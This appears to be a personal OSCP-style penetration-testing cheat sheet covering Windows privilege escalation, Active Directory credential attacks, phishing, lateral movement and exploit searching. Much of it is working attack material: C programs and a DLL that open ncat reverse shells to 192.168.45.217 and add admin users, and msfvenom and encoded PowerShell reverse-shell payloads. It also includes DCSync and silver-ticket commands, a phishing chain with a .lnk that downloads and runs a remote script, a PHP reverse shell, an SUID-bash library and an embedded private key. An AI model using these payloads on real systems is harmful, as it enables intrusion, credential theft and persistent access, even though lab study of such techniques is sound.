runas /user:administrator "cmd.exe /c whoami > whoami.txt"
Vulnerable Services
Cross compilation for malicious exe
Cross compile for windows and linux. FILE COMPILATION FOR WINDOWS
#include
int main ()
{
system("C:\TEMP\ncat.exe 192.168.45.217 7777 -e cmd");
return 0;
}
#now we compile
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
Linux
gcc exploit.c -o exploit
chmod +x exploit
./exploit
URLENCODE
https://meyerweb.com/eric/tools/dencoder/
DLL
Cross compilation for malicious DLLs
To enumerate we can first run
$UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
function ModifiablePath {param ([Parameter(Mandatory = $true)][String[]]$Paths);$Sids = [System.Security.Principal.WindowsIdentity]::GetCurrent().Groups | Select-Object -ExpandProperty Value;$Sids += $UserIdentity.User.Value;ForEach($Path in $Paths){try{$Path=$Path.Replace('"', "");if (-Not(Test-Path -Path $Path -ErrorAction Stop)){$Path=Split-Path -Path $Path -Parent};if (Test-Path -Path $Path -ErrorAction Stop) {$FILE=Resolve-Path -Path $Path | Select-Object -ExpandProperty Path;Get-Acl -Path $Path | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {if($_.FileSystemRights){$Rights = $_.FileSystemRights.value__}else{$Rights = $_.RegistryRights.value__};if(@([uint32]'0x40000000',[uint32]'0x10000000',[uint32]'0x02000000',[uint32]'0x00080000',[uint32]'0x00040000',[uint32]'0x00000004',[uint32]'0x00000002') | Where-Object { $Rights -band $_ }){if ($Sids -contains $_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExcludeProperty Value) {$Path}}}}}catch{$false}}}
## now we run
Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { if(ModifiablePath $_){ $_ } }
## special directories
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*','C:\Windows\*' | ForEach-Object {try{if(ModifiablePath $_){ $_ }}catch{}}
#It's also possible to do a manual check with CMD and icacls as follows.
for %I in ("%PATH:;=" "%") do (icacls %I)
#It's also possible to do a manual check with CMD using icacls to check permissions.
#Program Files and Windows
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Windows\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Windows\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
If we have permissions we can run the following
#include
#include
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
# also
i = system("C:\TEMP\ncat.exe 192.168.45.217 7777 -e cmd");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
# now we compile
x86_64-w64-mingw32-gcc adduser_dll.c --shared -o adduser.dll
# we can also create a dll with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=PORT -f dll -o payload.dll
DCsync attack
[[DCSync Attack]]
[[22 – DCSync]]
To launch a DCsync attack, a user must have the following privileges:
– Replicating Directory Changes
– Replicating Directory Changes All
– Replicating Directory Changes in Filtered Set rights.
By default, members of the Domain Admins, Enterprise Admins, and Administrators groups have these rights assigned.
Using mimikatz, we provide the user for whom we want to obtain credentials
lsadump::dcsync /user:corp\dave
lsadump::dcsync /user:corp\Administrator
#using impacket-secretsdump.
impacket-secretsdump -just-dc-user Administrator corp.com/jeffadmin:"password"@192.168.50.70
## with hash
impacket-secretsdump -just-dc-user Administrator -hashes :4979d69d4ca66955c075c41cf45f24dc oscp.exam/tom_admin@10.10.164.140
# all users
impacket-secretsdump -hashes :4979d69d4ca66955c075c41cf45f24dc oscp.exam/tom_admin@10.10.164.140
````
### Silver tickets
[[8 - AD - Silver Ticket]]
[[14 - Enumeracion MSSQL]] HERE WE SEE HOW TO CREATE A SILVER TICKET IF WE OBTAIN THE MSSQL SERVICE CREDENTIALS AND THUS GAIN MORE PRIVILEGES
[[8.1 Silver Attack maquina Scrambled]]
With the service account's password or its associated NTLM hash, we can create our own service ticket to access the target resource (in our example, the IIS application) with the permissions we want.
This custom ticket is known as a silver ticket, and if the service principal name is used on multiple servers, it can be used against all of them.
To create a silver ticket, we need to gather the following three pieces of data:
- SPN password hash
- Domain SID
- Target SPN
To get the SPN's password hash, we can use a tool like mimikatz.
To get the domain SID, we can use `whoami /user`
```c
corp\jeff S-1-5-21-1987370270-658905905-1781884369-1105
# and to get the SPN, we can enumerate it using `impacket-GetUserSPNs`.
impacket-GetUserSPNs corp.com/user:password
# With all this information, we can forge a TGS (silver ticket) as follows within mimikatz:
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:5d28cf5252d32971419580a51484ca09 /user:geffadmin
#now we use it
dir \\web04.corp.com\c$
# or export it to kirbi and use it from the attacking machine
kerberos::golden
/sid:SID
/domain:corp.com
/target:web04.corp.com
/service:http
/rc4:HASH
/user:jeffadmin
/ticket:silver_http_web04.kirbi
kirbi2ccache silver_http_web04.kirbi silver.ccache
export KRB5CCNAME=$(pwd)/silver.ccache
Responder Net-NTLMv2 Capture
Get NTLM hashes of accounts via the Net-NTLMv2 protocol. This is useful when you don’t have permissions to run mimikatz and dump NTLM hashes.
#First, we set up a fake SMB server.
sudo responder -I tun0
#Then, we force the connection from the remote target using a compromised account whose NTLM hash we don't know.
dir \\192.168.45.159\test
#Finally, we crack the hash with hashcat or john.
hashcat -m 5600 paul.hash rockyou.txt
[[matar procesos Responder]]
Net-NTLM relaying
The idea now is to relay NTLM information to another Windows service.
We can do this when we gain access to a user account on a machine and want to use its NTLM hash on another one.
If the relayed authentication comes from a user with local administrator privileges, we can use it to authenticate and then run commands via SMB with methods similar to those used by psexec or wmiexec.
We can perform this attack using ntlmrelayx.
Note that -t refers to the target we relay the NTLM hash to, while -c refers to the command to be executed.
In this case, we’re running a base64-encoded PowerShell reverse shell.
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."
````
### GPP (Group Policy Preferences)
[[Policies]]
Let's say you have the following
**Groups.xml**
```xml
We can decrypt the cpassword with the following Python script
gpp-decrypt.py
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
if __name__ == "__main__":
key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
iv = b"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ=="
ciphertext = base64.b64decode(ciphertext)
plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext, AES.block_size)
print(plaintext.decode())
To use the script do the following
python3 -m venv venv
. venv/bin/activate
pip3 install pycryptodome
python3 gpp-decrypt.py
The key was obtained directly from Microsoft. References:
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN
- https://adsecurity.org/?p=2288
Client-Side
Email phishing attack
send the damn email
#First we install and enable our `webdav` server
pip3 install wsgidav
pip3 install cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root webdav/
#Then we create a `config.Library.ms` file with the following content. Notice the IP address.
@windows.storage.dll,-34582
6
true
imageres.dll,-1003
{7d49d726-3c21-4f05-99aa-fdc2c9474656}
true
false
http://192.168.45.239
#We craft a malicious `powershell.lnk` that contains our powershell payload. This step has to be done in a windows VM.
powershell -c "iex(new-object net.webclient).downloadstring('http://192.168.45.239:1337/Invoke-PowerShellTcp.ps1')"
#and we send a malicious `body.txt`
Hi,
please click on the attachment :D
using `smtp` with `swaks`
swaks -t jim@relia.com --from test@relia.com --attach @config.Library-ms --server 192.168.186.189 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
Post-Exploitation / Lateral Movement
This is mainly about Windows AD.
After rooting a machine, all the steps we must follow are to continue and extract all the data for the next machine until we reach the domain user.
Linux
[[Escalada de privilegios Linux]]
chisel internal enumeration
#setup chisel tunnel
certutil -urlcache -split -f 'http://192.168.45.169/rev.exe' C:\\TEMP\chisel64.exe
certutil -urlcache -split -f "http://192.168.45.156/test.txt" test.txt
(local kali) ./chisel server -p 8000 --reverse
(remote window) chisel64.exe client 192.168.45.217:8000 R:socks
#enumerate ports
proxychains nmap -sT --top-ports=100 -Pn
#enumerate services
proxychains crackmapexec smb IP1 IP2 -u USERNAME -p PASSWORD --shares
proxychains crackmapexec winrm IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec rdp IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec ssh IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec smb IP1 IP2 -u USERNAME -H NTLM-HAHSH --shares
````
## PsExec
To use this tool we need:
- The user authenticating to the target machine must belong to the local administrators group.
- The ADMIN$ share must be available.
- The File and Printer Sharing feature must be enabled.
The last two requirements are met by default on modern Windows Server systems.
There are different ways to take advantage of this.
## Pass the NTLM hash of admin
```c
1. First we dump the password with mimikatz
./mimikatz64.exe "privilege::debug" "token::elevate" "lsadump:sam"
1. Then we use the hash with psexec winrm or whatever. Note the format
“LMHash:NTHash”, where LMHash is set to 0 because we do not use it.
impacket-psexec -hashes 00000000000000000000000000000000:7a39311ea6f0027aa955abed1762964b Administrator@192.168.50.212
impacket-wmiexec -hashes 00000000000000000000000000000000:7a32350ea6f0028ff955abed1762964b Administrator@192.168.50.212
evil-winrm -i 192.168.50.212 -u Administrator -H 7a39311ea6f0027aa955abed1762964b
crackmapexec smb 192.168.50.212 -u Administrator -H 7a39311ea6f0027aa955abed1762964b
impacket-psexec
impacket-psexec active.htb/administrator@10.10.10.100
Execution example
impacket-psexec active.htb/administrator@10.10.10.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file DtfeFzTI.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service IOHP on 10.10.10.100.....
[*] Starting service IOHP.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
WMI, winRM and evil-winrm
First, with WMI (Windows Management Instrumentation) and PowerShell.
The reverse shell was generated from the code at Reverse Shells.
$username = 'jen';
$password = 'password';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
#Then, with WinRM, Microsoft's version of the WS-Management protocol, uses port 5985 for encrypted HTTP traffic and port 5986 for plain HTTP.
#`winrs` only works with domain users. For it to work, the domain user must belong to the Administrators group or the Remote Management Users group on the target host.
winrs -r:files04 -u:jen -p:passworddd "cmd /c hostname & whoami"
#To generate a shell, simply run:
winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
We can also use PowerShell via the New-PSSession cmdlet
$username = 'jen';
$password = 'password';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Enter-PSSession 1
----
#Finally, we can use evil-winrm, which can be used with either the password (`-p`) or the hash (`-H`)
proxychains evil-winrm -i 192.168.243.153 -u administrator -p Password
proxychains evil-winrm -i 10.10.132.146 -u admin -H 4979f29d4cb99845c075c41cf45f24df
RDP
Configure RDP by enabling RDP and adding admin to the RDP group
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
change admin password
$password = ConvertTo-SecureString "test!" -AsPlainText -Force
$UserAccount = Get-LocalUser -Name "Administrator"
$UserAccount | Set-LocalUser -Password $Password
enable RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
add administrator to RDP group
net localgroup "Remote Desktop Users" "Administrator" /add
connect to rdp
xfreerdp /u:Administrator /p:"test!" /v:192.168.236.121
#Set up RDP by creating a new user for RDP
$password = ConvertTo-SecureString "test!" -AsPlainText -Force
New-LocalUser "test" -Password $password -FullName "test" -Description "test"
Add-LocalGroupMember -Group "Administrators" -Member "test"
net localgroup "Remote Desktop Users" "test" /add
#We enable RDP remotely (first open the port and configure the server, then create a new user)
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
$password = ConvertTo-SecureString "vau!XCKjNQBv3$" -AsPlainText -Force
New-LocalUser "test" -Password $password -FullName "test" -Description "test"
Add-LocalGroupMember -Group "Administrators" -Member "test"
net localgroup "Remote Desktop Users" "test" /add
pass the hash
This technique requires an SMB connection through the firewall (commonly port 445) and Windows File and Printer Sharing enabled.
This lateral movement technique also requires the admin share, ADMIN$, to be available.
These requirements are common in internal enterprise environments.
This type of lateral movement usually requires local administrative rights.
The basic idea is that the attacker connects to the victim via the Server Message Block (SMB) protocol and authenticates using the NTLM hash.
Note that PtH legitimately uses the NTLM hash.
However, the vulnerability lies in the fact that we obtained unauthorized access to a local administrator’s password hash.
We can use several tools such as:
- **crackmapexec**
crackmapexec smb 192.168.242.147 -u web_svc -H 820d6348890293116990101307197053
- **evil-winrm**
proxychains evil-winrm -i 192.168.243.153 -u administrator -p Password
- **impacket-psexec**
impacket-psexec -hashes 00000000000000000000000000000000000:7a38310ea6f0038ee955abed1762964b Administrator@192.168.50.212
- **impacket-wmiexec**
impacket-wmiexec -hashes 0000000000000000000000000000000000:7a38310ea6f0038ee955abed1762964b Administrator@192.168.50.212
overpass the hash
[[13.1 – Overpass the tickets ejemplo]]
With overpass the hash, we can abuse an NTLM user hash to obtain a full Kerberos Ticket Granting Ticket (TGT). Afterwards, we can use the TGT to get a Ticket Granting Service (TGS).
The idea is to convert the NTLM hash into a Kerberos ticket and avoid using NTLM authentication.
An easy way to do this is with Mimikatz’s sekurlsa::pth command.
sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372419bf6e93364cc93075 /run:powershell
At this point, we have a new PowerShell session that lets us run commands as jen. We can access various services and have Kerberos generate a TGT and a TGS, thus converting an NTLM hash into a Kerberos TGT. We can use this ticket in various tools, such as Microsoft’s official PsExec application, which does not accept password hashes.
pass the ticket
[[13.2 – Pass the ticket ejemplo]]
[[13 – Ataque Pass The Ticket (PtT) Windows]] –> if we find tickets to resources on another machine we can obtain them and thus access them
[[14 – Ataque Pass the Ticket (PtT) from Linux]]
The “Pass the Ticket” attack takes advantage of the TGS, which can be exported and reinjected elsewhere on the network and then used to authenticate to a specific service.
If the service tickets belong to the current user, no administrative privileges are required.
First, we export all TGT/TGS tickets from memory within the jen session using the sekurlsa::tickets /export command.
This command scans the LSASS process memory space for any TGT/TGS, which is saved to disk in mimikatz’s kirbi format.
PS C:\Windows\system32> whoami
corp\jen
mimikatz # privilege::debug
...
mimikatz # sekurlsa::tickets /export
#Then we can choose any ticket and inject it via mimikatz using the `kerberos::ptt` command
kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
#and now we can run `klist` to print the currently available tickets
klist
## now we could access a resource
dir \\ws02\c$
# if there were a credentials.txt file for example
type \\WS02\c$\Users\credentials.txt
# now we could log in on ws02 via winrm etc etc
Node
## run commands
require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})
CURL
## AS WE SAW WE GOT THIS AND OUR TOKENS
PASSWORD='ClHivjai23456'
SECRET_PHRASE='canyouguess'
API_KEY="169184101400-ghcns9"
SPECIAL_NUMBER=24
## VIEW THE RESPONSE FIRST
curl -i http://IP/backend/api/v2/user/1
# WE COULD HAVE TRIED all of the following, or one by one, to see responses even an empty json {}
curl -X POST http://IP/backend/api/v2/user/1 \
-H "Content-Type: application/json" \ss
-d '{
"password": "ClHivjai23456",
"secret_phrase": "canyouguess",
"api_key": "169184101400-ghcns9",
"special_number": 24
}'
curl -X POST http://IP/backend/api/v2/user/1 \
-H "Authorization: Bearer tokenaqui" \
-H "Content-Type: application/json" \
-d '{
"password": "ClHivjai23456",
"secret_phrase": "canyouguess",
"api_key": "169184101400-ghcns9",
"special_number": 24
}'
# pass token, apikey via headers
-H "Authorization: Bearer TOKEN"
-H "API-Key: TOKEN"
# just token
curl -X POST http://IP/backend/api/v2/user/1 -H "Authorization: Bearer tokenaqui"
curl -X POST http://IP/backend/api/v2/user/1 -H "Authorization: Bearer tokenaqui" -H "secret_phrase: canyouguess" -H "API_KEY: 169184101400-ghcns9"
# TEST TOKEN WITH PARAMETER
curl "http://IP/backend/api/v2/user/1?token=TOKEN1"
curl "http://IP/backend/api/v2/user/1?api_key=169184101400-ghcns9"
?special=24
## working with curl
H "Content-Length: 50"
# data with post
curl -X POST -d 'username=admin&password=admin' http://:/
## with cookies
curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://:/
## cookies in header
curl -H 'Cookie: PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://:/
## SEND JSON
curl -X POST -d '{"search":"london"}' -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' -H 'Content-Type: application/json' http://:/search.php
## TEST ALL METHODS AND VERBS
curl http://192.168.135.99:33333/list-current-deployments -X POST
curl http://192.168.135.99:33333/list-current-deployments -X PUT
POST
PUT
DELETE
PATCH
OPTIONS
HEAD
TRACE
See more in [[8 – CRUD API]]
REAL OSCP scenario (this does happen)
You have:
– WS01 (workstation)
– WS02 (server)
– DC
On WS01:
– You are local Administrator
– You run:
sekurlsa::tickets /export
And you see this:
cifs-ws02.corp.local.kirbi
📌 That ticket is NOT yours
📌 It belongs to another user who accessed WS02
What do you do now?
kerberos::ptt cifs-ws02.corp.local.kirbi
And then:
dir \\ws02\c$
🎯 Lateral movement WITHOUT a password
🎯 Without touching the DC
🎯 Without cracking anything
in the oscp exam I have
my linux machine -> connection with ws01 —> second interface connection with ws02 –> DC (I think ws01 WILL ALREADY HAVE A CONNECTION with the dc, right?)
I need to know how to do pivoting with ligolo, ugh, I don’t get it if my interface is tun0 WITH the OSCP HOW DO I DO IT SO THAT INTERFACE DOESN’T DIE?
Creating Users and adding them to groups
Add-LocalGroupMember -Group Administartors -Member ariah
net localgroup Administrators ariah /add
## to create it
net user ariah P@ssw0rd123 /add
net localgroup Administrators ariah /add
xxd
echo "01101000 01101111 01101100 01100001" | xxd -r -b
# If it comes without spaces
echo "BINARY" | sed 's/.\{8\}/& /g' | xxd -r -b
# if it fails
python3 -c 'print("".join([chr(int(b,2)) for b in "01101000 01101001".split()]))'
creating files in c
// libsecurity.c
#include
void init_plugin() {
system("chmod u+s /bin/bash");
}
Now we compile it
gcc -fPIC -shared libsecurity.c -o libsecurity.so
base64
put base64 code on a single line
tr -d '\n' < test.txt | base64 -d > output.pdf
pip
## if any script fails
pip2 install requests
pip install requests
pip3 install requests
VIM
🟢 Open a file
vim archivo.txt
If it doesn’t exist, it creates it.
Wordlists
The first ones we should check are
/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
#medium enumeration
/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
# extensions
-x php,txt,html,log,bak,old,zip,tar,backup,conf,config,sql,swp,save,aspx,jsp
# subdomains
/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
#parameters
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
#users
xato-net-10-million-usernames.txt
#apis
/usr/share/wordlists/SecLists/Discovery/Web-Content/api/
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
Creating a list of users and passwords
# for example we have users like
Anne Howard
Sasha Payne
## generate users
https://github.com/urbanadventurer/username-anarchy
./username-anarchy < nombres.txt > users.txt
## also
https://github.com/krlsio/python/blob/main/namemash.py
python3 namemash.py names.txt > users.txt
## generate passwords
cuup -w users.txt
generate a wordlist for passwords in case a character is missing (crunch)
[[crunch -> generacion de lista de palabras (para password)]]
Correctly copying an SSH key
cat > id_ed25519 << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBEhRgOw+Adwr6+R/A54Ng75WK1VsH1f+xloYwIbFnoAwAAAJgtoEZgLaBG
YAAAAAtzc2gtZWQyNTUxOQAAACBEhRgOw+Adwr6+R/A54Ng75WK1VsH1f+xloYwIbFnoAw
AAAECk3NMSFKJMauIwp/DPYEhMV4980aMdDOlfIlTq3qy4SkSFGA7D4B3Cvr5H8Dng2Dvl
YrVWwfV/7GWhjAhsWegDAAAADnRlc3RzQGhhdC13b3JrAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
EOF
Payloads
\$sock=fsockopen(\"192.168.49.64\",443); exec(\"/bin/bash <&3 >&3 2>&3\");
✍️ Write / edit
When it opens you can't write yet.
Press:
i
Now you're in INSERT mode → type normally.
⛔ Exit write mode
Press:
ESC
💾 Save
With ESC:
:w
🚪 Save and exit
:wq
❌ Exit without saving
:q!
Pivoting Ligolo
[[ligolo]]
change password net
net user administrador NuevaPassword123!
## whenever we try to check a password or something if it's a local machine try
--local-auth
netexec winrm 10.10.85.142 -u Administrator -H 507e8b20766f720619e9f33d73756b34 --local-auth
--local-auth
smb
winrm
rdp
ssh
mssql
ftp
ldap
check before the exam
nagoya machine -->
create passwords with months and machine name
extract information from an .exe file with the dotpeek application
get a silver token
APPLICATIONS, LOGIN PANELS AND GOOGLE SEARCH
SOFTWARE / LOGIN / CMS / APPLICATION ENUMERATION
[ ] exploit
[ ] RCE
[ ] authenticated RCE
[ ] unauthenticated RCE
[ ] CVE
[ ] searchsploit
--------------------------
AUTHENTICATION
[ ] auth bypass
[ ] authentication bypass
[ ] login bypass
[ ] password reset bypass
[ ] account takeover
[ ] privilege escalation
[ ] authentication vulnerability
--------------------------
CREDENTIALS
[ ] default credentials
[ ] default password
[ ] hardcoded credentials
[ ] admin password
[ ] first login
[ ] installation credentials
--------------------------
DOCUMENTATION
[ ] installation
[ ] install guide
[ ] administrator guide
[ ] documentation
[ ] configuration
[ ] manual
[ ] wiki
--------------------------
APPLICATION STRUCTURE
[ ] directory structure
[ ] file structure
[ ] default files
[ ] backup files
[ ] config file
[ ] database configuration
--------------------------
API
[ ] API
[ ] API documentation
[ ] REST API
[ ] Swagger
[ ] OpenAPI
[ ] GraphQL
[ ] endpoints
[ ] hidden endpoints
--------------------------
GITHUB
[ ] github
[ ] site:github.com ""
[ ] check commits
[ ] check issues
[ ] check pull requests
[ ] check releases
[ ] check changelog
--------------------------
DOCKER
[ ] docker
[ ] docker-compose
[ ] docker image
--------------------------
REPORTS
[ ] pentest
[ ] security assessment
[ ] vulnerability
[ ] security
[ ] advisory
[ ] writeup
[ ] bug bounty
--------------------------
GOOGLE DORKS
[ ] site:github.com ""
[ ] site:gitlab.com ""
[ ] site:stackoverflow.com ""
[ ] site:reddit.com ""
[ ] site:medium.com ""
[ ] site:pastebin.com ""
[ ] site:exploit-db.com ""
--------------------------
IF IT'S PHP
[ ] php deserialization
[ ] object injection
[ ] file upload
[ ] unrestricted upload
[ ] LFI
[ ] RFI
[ ] XXE
[ ] SSTI
[ ] SQL injection
[ ] command injection
--------------------------
IF IT'S JAVA
[ ] deserialization
[ ] spring exploit
[ ] log4j
[ ] template injection
--------------------------
IF IT'S NODE.JS
[ ] prototype pollution
[ ] express vulnerability
[ ] path traversal
[ ] file upload
--------------------------
IF IT'S PYTHON
[ ] SSTI
[ ] flask exploit
[ ] django exploit
[ ] pickle deserialization
--------------------------
LOOK FOR USEFUL INFORMATION
[ ] default users
[ ] existing roles
[ ] admin panels
[ ] hidden routes
[ ] internal endpoints
[ ] internal ports
[ ] environment variables
[ ] .env files
[ ] config files
[ ] log paths
[ ] backups
[ ] embedded credentials
[ ] API keys
[ ] JWT tokens
[ ] secrets
[ ] installation paths
[ ] maintenance scripts
[ ] scheduled tasks
[ ] services it uses (MySQL, Redis, LDAP, SMTP...)
[ ] database location
[ ] uploads directory
[ ] temp directory
[ ] logs directory
[ ] plugins directory
[ ] modules directory
--------------------------
MANDATORY QUESTIONS
[ ] Is there an accessible old version?
[ ] Is there an installation panel?
[ ] Is there an accessible backup?
[ ] Is there an API?
[ ] Is there a hidden endpoint?
[ ] Is there alternative authentication?
[ ] Is there a password recovery method?
[ ] Are there default credentials?
[ ] Are there reusable credentials?
[ ] Does the application use MySQL, LDAP, SMTP, Redis or another service I can connect to?
[ ] Is there public documentation that reveals internal routes?
Searching for exploits on google
1. Find the exact version
If Nmap gives you:
Apache 2.4.46
PHP 7.3.23
Search:
Apache 2.4.46 RCE
Apache 2.4.46 exploit
Apache 2.4.46 CVE
Apache 2.4.46 github
2. If it's an application
For example:
SeaCMS 12.9
Search:
SeaCMS 12.9 exploit
SeaCMS 12.9 CVE
SeaCMS 12.9 github
SeaCMS 12.9 authenticated RCE
3. If there's a login
Don't just search for exploits.
Also search:
SeaCMS 12.9 auth bypass
SeaCMS 12.9 authentication bypass
SeaCMS 12.9 login bypass
SeaCMS 12.9 default credentials
SeaCMS 12.9 password reset
SeaCMS 12.9 privilege escalation
4. If you see a specific feature
For example:
upload
Search:
SeaCMS upload RCE
SeaCMS upload unrestricted upload
SeaCMS upload bypass
If you see:
backup
Search:
SeaCMS backup download
SeaCMS backup disclosure
5. Search by the component
Many times the application uses libraries.
Example:
Apache Commons Text 1.8
Then you search:
Apache Commons Text 1.8 CVE
Apache Commons Text 1.8 exploit
That's how you found Text4Shell.
6. Search by the error message
If it shows:
Cannot POST /login
Search:
Cannot POST expressjs
Express API endpoints
Express hidden routes
Many times the framework gives clues.
7. Search by the technology
Examples:
Mercury Mail exploit
FreeSWITCH exploit
XAMPP privilege escalation
FileZilla FTP vulnerability
JDWP exploit
8. Add GitHub
Many PoCs are on GitHub before Exploit-DB.
SeaCMS github exploit
SeaCMS github poc
9. Add the CVE if you find it
CVE-2022-42889 github
or
CVE-2022-42889 poc
10. Search for manual exploitation
Not everything has a script.
Search:
SeaCMS manual exploitation
SeaCMS writeup
SeaCMS walkthrough
My search checklist
When I have a version, I always do these searches, in this order:
exploit
CVE
github
auth bypass
login bypass
default credentials
file upload
RCE
LFI
SSTI
SQLi
XXE
SSRF
writeup
walkthrough
Port 25
hepet machine